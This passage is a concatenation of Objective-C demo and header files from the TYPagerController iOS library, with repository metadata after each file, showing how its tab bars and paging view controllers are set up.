UIBarButtonItem *scrollItem = [[UIBarButtonItem alloc]initWithTitle:@"update" style:UIBarButtonItemStylePlain target:self action:@selector(updateData)];
self.navigationItem.rightBarButtonItems = @[reloadItem,scrollItem];
[self addPagerTabBar];
[self addPagerView];
[self loadData];
}
- (void)addPagerTabBar {
TYTabPagerBar *tabBar = [[TYTabPagerBar alloc]init];
tabBar.layout.barStyle = TYPagerBarStyleProgressElasticView;
tabBar.dataSource = self;
tabBar.delegate = self;
[tabBar registerClass:[TYTabPagerBarCell class] forCellWithReuseIdentifier:[TYTabPagerBarCell cellIdentifier]];
[self.view addSubview:tabBar];
_tabBar = tabBar;
}
- (void)addPagerView {
TYPagerView *pageView = [[TYPagerView alloc]init];
//pageView.layout.progressAnimateEnabel = NO;
//pageView.layout.prefetchItemCount = 1;
pageView.layout.autoMemoryCache = NO;
pageView.dataSource = self;
pageView.delegate = self;
// you can rigsiter cell like tableView
[pageView.layout registerClass:[UIView class] forItemWithReuseIdentifier:@"cellId"];
[self.view addSubview:pageView];
_pageView = pageView;
}
- (void)loadData {
NSMutableArray *datas = [NSMutableArray array];
for (NSInteger i = 0; i < 10; ++i) {
[datas addObject:i%2 == 0 ? [NSString stringWithFormat:@"Tab %ld",i]:[NSString stringWithFormat:@"Tab Tab %ld",i]];
}
_datas = [datas copy];
[self reloadData];
}
- (void)updateData {
NSMutableArray *datas = [NSMutableArray array];
for (NSInteger i = 0; i <arc4random()%26+1; ++i) {
[datas addObject:i%2 == 0 ? [NSString stringWithFormat:@"Tab %ld",i]:[NSString stringWithFormat:@"Tab Tab %ld",i]];
}
_datas = [datas copy];
[_tabBar reloadData];
[_pageView updateData];
}
- (void)viewWillLayoutSubviews {
[super viewWillLayoutSubviews];
_tabBar.frame = CGRectMake(0, CGRectGetMaxY(self.navigationController.navigationBar.frame), CGRectGetWidth(self.view.frame), 36);
_pageView.frame = CGRectMake(0, CGRectGetMaxY(_tabBar.frame), CGRectGetWidth(self.view.frame), 300);
}
- (void)reloadData {
[_tabBar reloadData];
[_pageView reloadData];
}
#pragma mark - TYTabPagerBarDataSource
- (NSInteger)numberOfItemsInPagerTabBar {
return _datas.count;
}
- (UICollectionViewCell<TYTabPagerBarCellProtocol> *)pagerTabBar:(TYTabPagerBar *)pagerTabBar cellForItemAtIndex:(NSInteger)index {
UICollectionViewCell<TYTabPagerBarCellProtocol> *cell = [pagerTabBar dequeueReusableCellWithReuseIdentifier:[TYTabPagerBarCell cellIdentifier] forIndex:index];
cell.titleLabel.text = _datas[index];
return cell;
}
#pragma mark - TYTabPagerBarDelegate
- (CGFloat)pagerTabBar:(TYTabPagerBar *)pagerTabBar widthForItemAtIndex:(NSInteger)index {
NSString *title = _datas[index];
return [pagerTabBar cellWidthForTitle:title];
}
- (void)pagerTabBar:(TYTabPagerBar *)pagerTabBar didSelectItemAtIndex:(NSInteger)index {
[_pageView scrollToViewAtIndex:index animate:YES];
}
#pragma mark - TYPagerViewDataSource
- (NSInteger)numberOfViewsInPagerView {
return _datas.count;
}
- (UIView *)pagerView:(TYPagerView *)pagerView viewForIndex:(NSInteger)index prefetching:(BOOL)prefetching {
//you can set UIView *view = [[UIView alloc]initWithFrame:[pagerView.layout frameForItemAtIndex:index]]; or UIView *view = [[UIView alloc]init];
//or reigster and dequeue item like tableView
UIView *view = [pagerView.layout dequeueReusableItemWithReuseIdentifier:@"cellId" forIndex:index];
view.backgroundColor = [UIColor colorWithRed:arc4random()%255/255.0 green:arc4random()%255/255.0 blue:arc4random()%255/255.0 alpha:arc4random()%255/255.0];
//NSLog(@"viewForIndex:%ld prefetching:%d",index,prefetching);
return view;
}
#pragma mark - TYPagerViewDelegate
- (void)pagerView:(TYPagerView *)pagerView willAppearView:(UIView *)view forIndex:(NSInteger)index {
//NSLog(@"+++++++++willAppearViewIndex:%ld",index);
}
- (void)pagerView:(TYPagerView *)pagerView willDisappearView:(UIView *)view forIndex:(NSInteger)index {
//NSLog(@"---------willDisappearView:%ld",index);
}
- (void)pagerView:(TYPagerView *)pagerView transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated {
NSLog(@"fromIndex:%ld, toIndex:%ld",fromIndex,toIndex);
[_tabBar scrollToItemFromIndex:fromIndex toIndex:toIndex animate:animated];
}
- (void)pagerView:(TYPagerView *)pagerView transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress {
//NSLog(@"fromIndex:%ld, toIndex:%ld progress%.3f",fromIndex,toIndex,progress);
[_tabBar scrollToItemFromIndex:fromIndex toIndex:toIndex progress:progress];
}
- (void)pagerViewWillBeginScrolling:(TYPagerView *)pageView animate:(BOOL)animate {
//NSLog(@"pagerViewWillBeginScrolling");
}
- (void)pagerViewDidEndScrolling:(TYPagerView *)pageView animate:(BOOL)animate {
//NSLog(@"pagerViewDidEndScrolling");
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
/*
#pragma mark - Navigation
// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
// Get the new view controller using [segue destinationViewController].
// Pass the selected object to the new view controller.
}
*/
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/PagerViewDmeoController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 1,570
|
```objective-c
//
// PagerControllerDemoController.m
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/18.
//
#import "TabPagerControllerDemoController.h"
#import "CustomViewController.h"
#import "ListViewController.h"
#import "CollectionViewController.h"
@interface TabPagerControllerDemoController ()<TYTabPagerControllerDataSource,TYTabPagerControllerDelegate>
@property (nonatomic, strong) NSArray *datas;
@end
@implementation TabPagerControllerDemoController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
self.title = @"TabPagerControllerDemoController";
self.tabBarHeight = 50;
self.tabBar.layout.barStyle = TYPagerBarStyleProgressView;
self.tabBar.layout.cellWidth = CGRectGetWidth(self.view.frame)/3;
self.tabBar.layout.cellSpacing = 0;
self.tabBar.layout.cellEdging = 0;
self.tabBar.layout.adjustContentCellsCenter = YES;
self.dataSource = self;
self.delegate = self;
[self loadData];
}
- (void)loadData {
NSMutableArray *datas = [NSMutableArray array];
for (NSInteger i = 0; i < 3; ++i) {
[datas addObject:i%2 == 0 ? [NSString stringWithFormat:@"Tab %ld",i]:[NSString stringWithFormat:@"Tab Tab %ld",i]];
}
_datas = [datas copy];
// only add controller at index 1
[self scrollToControllerAtIndex:1 animate:YES];
[self reloadData];
// first reloadData add controller at index 0,and scroll to index 1
// [self reloadData];
// [self scrollToControllerAtIndex:1 animate:YES];
}
#pragma mark - TYTabPagerControllerDataSource
- (NSInteger)numberOfControllersInTabPagerController {
return _datas.count;
}
- (UIViewController *)tabPagerController:(TYTabPagerController *)tabPagerController controllerForIndex:(NSInteger)index prefetching:(BOOL)prefetching {
if (index%3 == 0) {
CustomViewController *VC = [[CustomViewController alloc]init];
VC.text = [@(index) stringValue];
return VC;
}else if (index%3 == 1) {
ListViewController *VC = [[ListViewController alloc]init];
VC.text = [@(index) stringValue];
return VC;
}else {
CollectionViewController *VC = [[CollectionViewController alloc]init];
VC.text = [@(index) stringValue];
return VC;
}
}
- (NSString *)tabPagerController:(TYTabPagerController *)tabPagerController titleForIndex:(NSInteger)index {
NSString *title = _datas[index];
return title;
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
/*
#pragma mark - Navigation
// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
// Get the new view controller using [segue destinationViewController].
// Pass the selected object to the new view controller.
}
*/
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TabPagerControllerDemoController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 660
|
```objective-c
//
// AppDelegate.h
// TYPagerControllerDemo
//
// Created by tany on 2017/7/6.
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/AppDelegate.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 57
|
```objective-c
//
// PagerViewDmeoController.h
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/6.
//
#import <UIKit/UIKit.h>
@interface PagerViewDmeoController : UIViewController
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/PagerViewDmeoController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 56
|
```objective-c
//
// PagerControllerDmeoController.h
// TYPagerControllerDemo
//
// Created by tany on 2017/7/19.
//
#import <UIKit/UIKit.h>
@interface PagerControllerDmeoController : UIViewController
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/PagerControllerDmeoController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 55
|
```objective-c
//
// ListViewController.m
// TYPagerControllerDemo
//
// Created by tany on 16/5/17.
//
#import "ListViewController.h"
@interface ListViewController ()<UITableViewDataSource, UITableViewDelegate>
@property (nonatomic, weak) UITableView *tableView;
@end
@implementation ListViewController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
[self addTableView];
[self addHorHeaderScrollView];
}
- (void)viewWillAppear:(BOOL)animated
{
[super viewWillAppear:animated];
NSLog(@"viewWillAppear index %@",_text);
}
- (void)viewDidAppear:(BOOL)animated
{
[super viewWillAppear:animated];
NSLog(@"viewDidAppear index %@",_text);
}
- (void)viewWillDisappear:(BOOL)animated
{
[super viewWillDisappear:animated];
NSLog(@"viewWillDisappear index %@",_text);
}
- (void)viewDidDisappear:(BOOL)animated
{
[super viewWillDisappear:animated];
NSLog(@"viewDidDisappear index %@",_text);
}
- (void)viewDidLayoutSubviews
{
[super viewDidLayoutSubviews];
self.tableView.frame = self.view.bounds;
}
- (void)addTableView
{
UITableView *tableView = [[UITableView alloc]init];
tableView.delegate = self;
tableView.dataSource = self;
[self.view addSubview:tableView];
_tableView = tableView;
[tableView registerClass:[UITableViewCell class] forCellReuseIdentifier:@"cellId"];
}
- (void)addHorHeaderScrollView
{
UIScrollView *scrollView = [[UIScrollView alloc]initWithFrame:CGRectMake(0, 0, CGRectGetWidth(self.view.frame), 200)];
scrollView.pagingEnabled = YES;
scrollView.showsHorizontalScrollIndicator = NO;
scrollView.contentSize = CGSizeMake(2*CGRectGetWidth(self.view.frame), 0);
[self.view addSubview:scrollView];
UIView *page1View = [[UIView alloc]initWithFrame:scrollView.bounds];
page1View.backgroundColor = [UIColor orangeColor];
[scrollView addSubview:page1View];
UIView *page2View = [[UIView alloc]initWithFrame:CGRectMake(CGRectGetWidth(self.view.frame), 0, CGRectGetWidth(self.view.frame), 200)];
page2View.backgroundColor = [UIColor redColor];
[scrollView addSubview:page2View];
_tableView.tableHeaderView = scrollView;
}
#pragma mark - delegate
- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
{
return 20;
}
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:@"cellId" forIndexPath:indexPath];
cell.textLabel.text = [NSString stringWithFormat:@"text row %ld",indexPath.row];
return cell;
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
/*
#pragma mark - Navigation
// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
// Get the new view controller using [segue destinationViewController].
// Pass the selected object to the new view controller.
}
*/
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/ListViewController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 639
|
```objective-c
//
// ViewController.m
// TYPagerControllerDemo
//
// Created by tany on 2017/7/6.
//
#import "ViewController.h"
#import "PagerViewDmeoController.h"
#import "PagerControllerDmeoController.h"
#import "TabPagerControllerDemoController.h"
#import "TabPagerViewDmeoController.h"
@interface ViewController ()
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view, typically from a nib.
}
#pragma mark - action
- (IBAction)turnToPageViewDemo:(id)sender {
PagerViewDmeoController *vc = [[PagerViewDmeoController alloc]init];
[self.navigationController pushViewController:vc animated:YES];
}
- (IBAction)turnToTabPagerViewDemo:(id)sender {
TabPagerViewDmeoController *vc = [[TabPagerViewDmeoController alloc]init];
[self.navigationController pushViewController:vc animated:YES];
}
- (IBAction)turnToPageControllerDemo:(id)sender {
PagerControllerDmeoController *pagerController = [[PagerControllerDmeoController alloc]init];
[self.navigationController pushViewController:pagerController animated:YES];
}
- (IBAction)turnToTabPagerControllerDemo:(id)sender {
TabPagerControllerDemoController *pagerController = [[TabPagerControllerDemoController alloc]init];
//pagerController.pagerController.layout.prefetchItemCount = 1;
[self.navigationController pushViewController:pagerController animated:YES];
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/ViewController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 339
|
```objective-c
//
// AppDelegate.m
// TYPagerControllerDemo
//
// Created by tany on 2017/7/6.
//
#import "AppDelegate.h"
@interface AppDelegate ()
@end
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// Override point for customization after application launch.
return YES;
}
- (void)applicationWillResignActive:(UIApplication *)application {
// Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
// Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
}
- (void)applicationDidEnterBackground:(UIApplication *)application {
// Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
// If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
// Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
}
- (void)applicationDidBecomeActive:(UIApplication *)application {
// Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
}
- (void)applicationWillTerminate:(UIApplication *)application {
// Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/AppDelegate.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 374
|
```objective-c
//
// CustomViewController.m
// TYPagerControllerDemo
//
// Created by tany on 16/4/20.
//
#import "CustomViewController.h"
#import "PagerControllerDmeoController.h"
@interface CustomViewController ()
@property (nonatomic, weak) UILabel *label;
@property (nonatomic, weak) UIButton *pushBtn;
@property (nonatomic, weak) UIButton *cancelBtn;
@end
@implementation CustomViewController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
//NSLog(@"text %@",_text);
[self addPageLabel];
[self addPushButton];
[self addPopButton];
}
- (void)viewWillLayoutSubviews
{
[super viewWillLayoutSubviews];
_label.center = CGPointMake(CGRectGetWidth(self.view.frame)/2, CGRectGetHeight(self.view.frame)/2);
_cancelBtn.center = CGPointMake(_label.center.x,_label.center.y + 100);
_pushBtn.center = CGPointMake(_label.center.x,_label.center.y + 50);
}
- (void)addPageLabel
{
UILabel *label = [[UILabel alloc]initWithFrame:CGRectMake(0, 0, 200, 50)];
label.text = _text;
label.font = [UIFont systemFontOfSize:32];
label.textAlignment = NSTextAlignmentCenter;
[self.view addSubview:label];
_label = label;
self.view.backgroundColor = [UIColor colorWithRed:arc4random()%255/255.0 green:arc4random()%255/255.0 blue:arc4random()%255/255.0 alpha:arc4random()%255/255.0];
}
- (void)addPushButton
{
UIButton *cancelBtn = [UIButton buttonWithType:UIButtonTypeSystem];
cancelBtn.titleLabel.font = [UIFont systemFontOfSize:21];
[cancelBtn setTitle:@"posh VC" forState:UIControlStateNormal];
[cancelBtn addTarget:self action:@selector(pushVC) forControlEvents:UIControlEventTouchUpInside];
cancelBtn.frame = CGRectMake(0, 0, 100, 40);
cancelBtn.center = CGPointMake(self.view.center.x, self.view.center.y + 60);
[self.view addSubview:cancelBtn];
_pushBtn = cancelBtn;
}
- (void)addPopButton
{
UIButton *cancelBtn = [UIButton buttonWithType:UIButtonTypeSystem];
cancelBtn.titleLabel.font = [UIFont systemFontOfSize:21];
[cancelBtn setTitle:@"pop back" forState:UIControlStateNormal];
[cancelBtn addTarget:self action:@selector(popBack) forControlEvents:UIControlEventTouchUpInside];
cancelBtn.frame = CGRectMake(0, 0, 100, 40);
cancelBtn.center = CGPointMake(self.view.center.x, self.view.center.y + 60);
[self.view addSubview:cancelBtn];
_cancelBtn = cancelBtn;
}
- (void)viewWillAppear:(BOOL)animated
{
[super viewWillAppear:animated];
NSLog(@"viewWillAppear index %@",_text);
}
- (void)viewDidAppear:(BOOL)animated
{
[super viewWillAppear:animated];
NSLog(@"viewDidAppear index %@",_text);
}
- (void)viewWillDisappear:(BOOL)animated
{
[super viewWillDisappear:animated];
NSLog(@"viewWillDisappear index %@",_text);
}
- (void)viewDidDisappear:(BOOL)animated
{
[super viewWillDisappear:animated];
NSLog(@"viewDidDisappear index %@",_text);
}
- (void)pushVC {
PagerControllerDmeoController *vc = [[PagerControllerDmeoController alloc]init];
[self.navigationController pushViewController:vc animated:YES];
}
- (void)popBack
{
[self.navigationController popViewControllerAnimated:YES];
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
/*
#pragma mark - Navigation
// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
// Get the new view controller using [segue destinationViewController].
// Pass the selected object to the new view controller.
}
*/
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/CustomViewController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 828
|
```objective-c
//
// main.m
// TYPagerControllerDemo
//
// Created by tany on 2017/7/6.
//
#import <UIKit/UIKit.h>
#import "AppDelegate.h"
int main(int argc, char * argv[]) {
@autoreleasepool {
return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
}
}
```
|
/content/code_sandbox/TYPagerControllerDemo/main.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 75
|
```objective-c
//
// CollectionViewController.m
// TYPagerControllerDemo
//
// Created by tany on 16/5/17.
//
#import "CollectionViewController.h"
@interface CollectionViewController ()<UICollectionViewDataSource>
@property (nonatomic, weak) UICollectionView *collectionView;
@end
static NSString *const cellId = @"collectCellId";
@implementation CollectionViewController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
[self addCollectionView];
[_collectionView registerClass:[UICollectionViewCell class] forCellWithReuseIdentifier:cellId];
}
- (void)viewWillAppear:(BOOL)animated
{
[super viewWillAppear:animated];
NSLog(@"viewWillAppear index %@",_text);
}
- (void)viewDidAppear:(BOOL)animated
{
[super viewWillAppear:animated];
NSLog(@"viewDidAppear index %@",_text);
}
- (void)viewWillDisappear:(BOOL)animated
{
[super viewWillDisappear:animated];
NSLog(@"viewWillDisappear index %@",_text);
}
- (void)viewDidDisappear:(BOOL)animated
{
[super viewWillDisappear:animated];
NSLog(@"viewDidDisappear index %@",_text);
}
- (void)viewWillLayoutSubviews
{
[super viewWillLayoutSubviews];
_collectionView.frame = self.view.bounds;
}
- (void)addCollectionView
{
UICollectionViewFlowLayout *layout = [[UICollectionViewFlowLayout alloc]init];
layout.itemSize = CGSizeMake((CGRectGetWidth(self.view.frame)-20)/3, (CGRectGetWidth(self.view.frame)-20)/3);
layout.minimumLineSpacing = 10;
layout.sectionInset = UIEdgeInsetsMake(10, 0, 0, 0);
UICollectionView *collectionView = [[UICollectionView alloc]initWithFrame:self.view.bounds collectionViewLayout:layout];
collectionView.backgroundColor = [UIColor whiteColor];
collectionView.dataSource = self;
[self.view addSubview:collectionView];
_collectionView = collectionView;
}
#pragma mark - UIViewControllerDisplayViewDelegate
- (UIScrollView *)displayView
{
return _collectionView;
}
#pragma mark - UICollectionViewDataSource
- (NSInteger)numberOfSectionsInCollectionView:(UICollectionView *)collectionView
{
return 3;
}
- (NSInteger)collectionView:(UICollectionView *)collectionView numberOfItemsInSection:(NSInteger)section
{
return 3*3;
}
- (UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath
{
UICollectionViewCell *cell = [collectionView dequeueReusableCellWithReuseIdentifier:cellId forIndexPath:indexPath];
cell.backgroundColor = [UIColor colorWithRed:255/255.0 green:204/255.0 blue:204/255.0 alpha:1.0];
return cell;
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
/*
#pragma mark - Navigation
// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
// Get the new view controller using [segue destinationViewController].
// Pass the selected object to the new view controller.
}
*/
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/CollectionViewController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 615
|
```objective-c
//
// PagerControllerDemoController.h
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/18.
//
#import "TYTabPagerController.h"
@interface TabPagerControllerDemoController : TYTabPagerController
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TabPagerControllerDemoController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 58
|
```objective-c
//
// TabPagerViewDmeoController.m
// TYPagerControllerDemo
//
// Created by tany on 2017/7/19.
//
#import "TabPagerViewDmeoController.h"
#import "TYTabPagerView.h"
@interface TabPagerViewDmeoController ()<TYTabPagerViewDataSource, TYTabPagerViewDelegate>
@property (nonatomic, weak) TYTabPagerView *pagerView;
@property (nonatomic, strong) NSArray *datas;
@end
@implementation TabPagerViewDmeoController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
self.title = @"TabPagerViewDmeoController";
self.view.backgroundColor = [UIColor whiteColor];
[self addTabPagerView];
[self loadData];
}
- (void)addTabPagerView {
TYTabPagerView *pagerView = [[TYTabPagerView alloc]init];
pagerView.tabBar.layout.barStyle = TYPagerBarStyleCoverView;
pagerView.tabBar.progressView.backgroundColor = [UIColor lightGrayColor];
pagerView.dataSource = self;
pagerView.delegate = self;
[self.view addSubview:pagerView];
_pagerView = pagerView;
}
- (void)viewWillLayoutSubviews {
[super viewWillLayoutSubviews];
_pagerView.frame = CGRectMake(0, CGRectGetMaxY(self.navigationController.navigationBar.frame), CGRectGetWidth(self.view.frame),CGRectGetHeight(self.view.frame)-CGRectGetMaxY(self.navigationController.navigationBar.frame));
}
- (void)loadData {
NSMutableArray *datas = [NSMutableArray array];
for (NSInteger i = 0; i < 20; ++i) {
[datas addObject:i%2 == 0 ? [NSString stringWithFormat:@"Tab %ld",i]:[NSString stringWithFormat:@"Tab Tab %ld",i]];
}
_datas = [datas copy];
[_pagerView reloadData];
//[_pagerView scrollToViewAtIndex:1 animate:YES];
}
#pragma mark - TYTabPagerViewDataSource
- (NSInteger)numberOfViewsInTabPagerView {
return _datas.count;
}
- (UIView *)tabPagerView:(TYTabPagerView *)tabPagerView viewForIndex:(NSInteger)index prefetching:(BOOL)prefetching {
UIView *view = [[UIView alloc]initWithFrame:[tabPagerView.layout frameForItemAtIndex:index]];
view.backgroundColor = [UIColor colorWithRed:arc4random()%255/255.0 green:arc4random()%255/255.0 blue:arc4random()%255/255.0 alpha:arc4random()%255/255.0];
//NSLog(@"viewForIndex:%ld prefetching:%d",index,prefetching);
return view;
}
- (NSString *)tabPagerView:(TYTabPagerView *)tabPagerView titleForIndex:(NSInteger)index {
NSString *title = _datas[index];
return title;
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
/*
#pragma mark - Navigation
// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
// Get the new view controller using [segue destinationViewController].
// Pass the selected object to the new view controller.
}
*/
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TabPagerViewDmeoController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 694
|
```objective-c
//
// TYPagerController.h
// TYPagerControllerDemo
//
// Created by tanyang on 16/4/13.
//
#import <UIKit/UIKit.h>
#import "TYPagerViewLayout.h"
NS_ASSUME_NONNULL_BEGIN
@class TYPagerController;
@protocol TYPagerControllerDataSource <NSObject>
// viewController's count in pagerController
- (NSInteger)numberOfControllersInPagerController;
/* 1.viewController at index in pagerController
2.if prefetching is YES,the controller is preload,not display.
3.if controller will display,will call viewWillAppear.
4.you can register && dequeue controller, usage like tableView
*/
- (UIViewController *)pagerController:(TYPagerController *)pagerController controllerForIndex:(NSInteger)index prefetching:(BOOL)prefetching;
@end
@protocol TYPagerControllerDelegate <NSObject>
@optional
// Display customization
// the same to viewWillAppear, also can use viewController's viewWillAppear
- (void)pagerController:(TYPagerController *)pagerController viewWillAppear:(UIViewController *)viewController forIndex:(NSInteger)index;
- (void)pagerController:(TYPagerController *)pagerController viewDidAppear:(UIViewController *)viewController forIndex:(NSInteger)index;
// Disappear customization
// the same to viewWillDisappear, also can use viewController's viewWillDisappear
- (void)pagerController:(TYPagerController *)pagerController viewWillDisappear:(UIViewController *)viewController forIndex:(NSInteger)index;
- (void)pagerController:(TYPagerController *)pagerController viewDidDisappear:(UIViewController *)viewController forIndex:(NSInteger)index;
// Transition animation customization
- (void)pagerController:(TYPagerController *)pagerController transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated;
- (void)pagerController:(TYPagerController *)pagerController transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress;
// ScrollViewDelegate
- (void)pagerControllerDidScroll:(TYPagerController *)pagerController;
- (void)pagerControllerWillBeginScrolling:(TYPagerController *)pagerController animate:(BOOL)animate;
- (void)pagerControllerDidEndScrolling:(TYPagerController *)pagerController animate:(BOOL)animate;
@end
@interface TYPagerController : UIViewController
@property (nonatomic, weak, nullable) id<TYPagerControllerDataSource> dataSource;
@property (nonatomic, weak, nullable) id<TYPagerControllerDelegate> delegate;
// pagerController's layout,don't set layout's dataSource to other
@property (nonatomic, strong, readonly) TYPagerViewLayout<UIViewController *> *layout;
@property (nonatomic, weak, readonly) UIScrollView *scrollView;
@property (nonatomic, assign, readonly) NSInteger countOfControllers;
@property (nonatomic, assign, readonly) NSInteger curIndex;// default -1
@property (nonatomic, strong, nullable, readonly) NSArray<UIViewController *> *visibleControllers;
@property (nonatomic, assign) BOOL automaticallySystemManagerViewAppearanceMethods;// default YES.if YES system auto call view Appearance Methods(eg. viewWillAppear...)
@property (nonatomic, assign) UIEdgeInsets contentInset;
//if not visible, prefecth, cache view at index, return nil
- (UIViewController *_Nullable)controllerForIndex:(NSInteger)index;
// register && dequeue's usage like tableView
- (void)registerClass:(Class)Class forControllerWithReuseIdentifier:(NSString *)identifier;
- (void)registerNib:(UINib *)nib forControllerWithReuseIdentifier:(NSString *)identifier;
- (UIViewController *)dequeueReusableControllerWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index;
// scroll to index
- (void)scrollToControllerAtIndex:(NSInteger)index animate:(BOOL)animate;
// update data and layout,but don't reset propertys(curIndex,visibleDatas,prefechDatas)
- (void)updateData;
// reload data and reset propertys
- (void)reloadData;
@end
NS_ASSUME_NONNULL_END
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TYPagerController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 820
|
```objective-c
//
// TYPagerViewLayout.h
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/9.
//
#import <UIKit/UIKit.h>
NS_ASSUME_NONNULL_BEGIN
@interface NSObject (TY_PagerReuseIdentify)
// resueId
@property (nonatomic, strong, readonly, nullable) NSString *ty_pagerReuseIdentify;
@end
@class TYPagerViewLayout<ItemType>;
@protocol TYPagerViewLayoutDataSource <NSObject>
- (NSInteger)numberOfItemsInPagerViewLayout;
// if item is preload, prefetch will YES
- (id)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout itemForIndex:(NSInteger)index prefetching:(BOOL)prefetching;
// return item's view
- (UIView *)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout viewForItem:(id)item atIndex:(NSInteger)index;
